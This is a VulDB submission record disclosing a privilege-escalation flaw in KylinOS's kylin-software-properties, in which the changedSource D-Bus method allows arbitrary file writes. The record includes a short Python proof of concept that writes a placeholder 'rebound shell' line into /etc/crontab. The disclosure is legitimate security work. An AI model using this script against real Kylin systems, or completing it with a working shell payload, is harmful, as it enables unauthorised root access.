| 标题 | Kylin OS kylin-software-properties arbitrary file write vuln |
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| 描述 | Report
Describe
kylin-software-properties is a component on KylinOS Desktop for setting system software properties. There is an arbitrary file writing vulnerability in the changedSource function of this component, which can lead to privilege escalation for ordinary users.
Hazard level
High
Affected version
kylin-software-properties < 0.0.1-130
POC&&EXP
ISO Download:
https://distro-images.kylinos.cn:8802/web_pungi/download/share/HXDYtGjZm3daA4UvOTLkiPl1nB9ErM0c/
exploit.py
#!/usr/bin/env python3
import sys
import dbus
import os
def change_source(old, new, target):
bus = dbus.SystemBus()
obj = bus.get_object("com.kylin.software.properties", "/com/kylin/software/properties")
proxy = dbus.Interface(obj, "com.kylin.software.properties.interface")
print(proxy.changedSource([old, new, target]))
change_source("#", "rebound shell", "/etc/crontab")
os.system("grep -rn 'rebound shell' /etc/crontab") |
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| 来源 | ⚠️ https://github.com/i900008/vulndb/blob/main/kylinos_vul1.md |
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| 用户 | Set3r.Pan (UID 28571) |
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| 提交 | 2023-05-22 10時02分 (3 年前) |
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| 管理 | 2023-06-05 07時08分 (14 days later) |
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| 状态 | 已接受 |
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| VulDB条目 | 230686 [KylinSoft kylin-software-properties 以前 0.0.1-130 于 KylinOS changedSource 权限提升] |
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| 积分 | 20 |
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